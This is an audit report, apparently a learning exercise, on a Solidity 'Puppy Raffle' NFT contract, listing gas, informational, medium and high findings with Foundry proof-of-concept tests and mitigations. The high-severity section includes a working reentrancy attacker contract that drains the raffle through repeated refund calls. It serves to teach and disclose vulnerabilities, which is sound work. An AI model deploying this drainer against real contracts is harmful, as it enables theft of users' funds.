Puppy Raffle Audit Report

Version 1.0

Auditor Nate

June 5, 2024

Puppy Raffle Audit

Auditor_Nate

June 5, 2024

Prepared by: [Auditor_Nate] Lead Auditors: - Auditor_Nate

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Auditor_Nate makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function. # Executive Summary

This was my first extensive solo audit, very proud with how I am progressing and excited to be starting my journey of doing audits! Aiming very high this year, I want my name to be known within the Security Researcher space! Auditor_Nate making web3 more secure one audit at a time!

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	5
Gas	2
Total	11

Findings

Gas Findings

[G-1] Unchanged state variables should be declared as Immutable or Constant

Reading from storage is much more gas intensive than reading from a constant or immutable variable.

Instances: -`PuppyRaffle:: uint256 public raffleDuration;` should be `immutable` -`PuppyRaffle:: string private commonImageUri;` should be `constant` -`PuppyRaffle :: string private RareImageUri;` should be `constant` -`PuppyRaffle:: string private LegendaryImageUri;` should be `constant`

[G-2] Storage Variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory. Thus the larger the players.length array is, the more gas intensive this call will be.

```
+   uint256 playerLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
            }
        }
```

Informational Findings

[I-1] Solidity pragma should be specific, not wide

Look into using a specific version of Solidity, instead of of a wide version. Eg: Instead of `Pragma Solidity ^0.8.0;`, use `Pragma Solidty 0.8.0;` removing the carrot.

[I-2] Do not reccomend the use of an outdated version of Solidity.

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing check for `address(0)` when assigning values to addres state variables

Assigning values to address state variables without checking for `address(0)`

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 186

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinnter` does not follow CEI, which is not best practice.

Try to keep code, in line with reccomended practices.

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3           _safeMint(winner, tokenId);
4 +       (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of magic number is discouraged

It can be confusing to see number literals in a codebase, and its much more readable if the numbers are given a name.

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1           uint256 public constnat PRIZE_POOL_PERCENTAGE = 80;
2           uint256 public constnat FEE_PERCENTAGE = 20;
3           uint256 public constant PRIZE_POOL_PRECISION = 100
```

Low Severity Findings

[L-1] function `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent palyers and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. The natspec states it will also return if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 will incorrectly think they have not entered the raffle and attempt to reenter.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: Reccomendation would be to revert if the player is not in the array instead of returning 0.

Medium Severity Findings

[M-1] Looping through puppy raffle plyers array in function `PuppyRaffle:: enterRaffle` is a potential DOS attack, can cause exponentially high gas prices.

Description: The following for loop, can be exploited into a DOS attack by filling the address array with many addresses. The gas price of the for loop will be so great that it will surpass the ETH block gas limit therefore rendering the function useless. Thus highly benefiting people who entered the raffle early in place of having any particpant be able to enter the raffle fairly.

Impact: The gas costs for raffle entrants will greatly increase as more players enther the raffle.

Proof of Concept:

Here is the test written in order to prove this finding. The console.log output is shown below given the example gas prices that would occur.

```
1   function testDOS() public {
2         vm.txGasPrice(1);
3
4         uint256 playersNum = 100;
5         address[] memory players = new address[](playersNum);
6         for (uint256 i = 0; i < playersNum; i++) {
7             players[i] = address(i);
8         }
9
10        uint256 gasStart = gasleft();
11        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
              players);
12        uint256 gasEnd = gasleft();
13
14        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
15        console.log("Gas cost of the first 100 players: ", gasUsedFirst
              );
16
17        address[] memory playersTwo = new address[](playersNum);
18        for (uint256 i = 0; i < playersNum; i++) {
19            playersTwo[i] = address(i + playersNum);
20        }
21
22        uint256 gasStartSecond = gasleft();
23        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
              playersTwo);
24        uint256 gasEndSecond = gasleft();
25
26        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
              gasprice;
27        console.log("Gas cost of the second 100 players: ",
              gasUsedSecond);
28
29        assert(gasUsedFirst < gasUsedSecond);
30    }
31
32    Console.Log outputs -
33    Gas cost of the first 100 players:  6252128
34    Gas cost of the second 100 players:  18068218
```

Recommended Mitigation:

1. Consier allowing duplicates. Users can already make a new wallet address and enter via that method.

2. Consier using a mapping to check duplicates.

[M-2] Smart contract wallets raffle winners without a `recieve` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsbile for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult

True winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldnt work, even though the lottery is over!

Recommended Mitigation: There are a few options to help mitigate this issue

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Reccommeded)

High Severity Findings

[H-1] Reentrancy attack in `PuppyRaffle:: refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle:: refund` function does not follow [CEI] Checks, Effects, Interactions. This allows the attacker to continually enter and drain the raffle balance due to the state of the contract being updated last.

In the `PuppyRaffle:: refund` function, we first make an external call to the `msg.sender` address and only after making the external call do we update the `PuppyRaffle::player` array thus allowing for re entry.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@AN>         payable(msg.sender).sendValue(entranceFee);
@AN>         players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/recieve` function that calls the `PuppyRaffle::refund` function again and then be able to claim another refund. They could continue the cycle till the contract has been fully drained of fee funds.

Impact: All fees paid by raffle entrants could be stolen by the attacker

Proof of Concept:

1. User eneters the raffle
2. Attacker sets up contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract continually draining the fee balance

Proof Of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function testRefundReentrancy() public playersEntered {
        AttackerRentrant attackerContract = new AttackerRentrant(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingAttackerBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting Attack contract balance: ",
            startingAttackContractBalance);
```

```
13          console.log("starting Attacker balance: ",
                startingAttackerBalance);
14
15          console.log("ending attack contract balance: ", address(
                attackerContract).balance);
16          console.log("ending attacker balance: ", address(puppyRaffle).
                balance);
17      }
```

Add this contract as well

```
1  contract AttackerRentrant {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = _puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _steal() internal {
21         if (address(puppyRaffle).balance > 0) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _steal();
28     }
29
30     receive() external payable {
31         _steal();
32     }
33 }
```

```
1   function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
```

```
                already refunded, or is not active");
+           players[playerIndex] = address(0);
+           emit RaffleRefunded(playerAddress);
            payable(msg.sender).sendValue(entranceFee);
-           players[playerIndex] = address(0);
-           emit RaffleRefunded(playerAddress);
        }
```

Recommended Mitigation: To prevent this, we shgould have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

[H-2] TITLE Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning NFT

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictlbe final number. A predictible number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the outcome of the raffle, winning the prize and selecting the rarest NFT. Thus rendering the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time `block.timestamp` and `block.difficulty` and use that to predict when/how to participate in the raffle. `block.difficulty` was recentlty replaced with prevrandao.
2. Users can manipulate their `msg.sender` value to result in their addresses being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they dont like the winner or resulting NFT.

Using on-chain values as a randomness seed is a [well-documented attack vector]

Recommended Mitigation: Consider using Chainlink VRF in place of this logic, chainlink VRF provides a cryptograhpically provable random number. https://docs.chain.link/vrf

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` intergers were subject to interger overlows.

Impact: In `PuppyRaffle::selectWinner`, `totalfees` are accumulated for the `feeaddress` to collect later in `PuppyRaffle:withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 178000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. There will be no ability to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

You could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract it will be impossible to hit.

Code

```
function testOverFlowFees() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: A few possiblie mitigations.

1. Use a newer version of solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees`
2. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```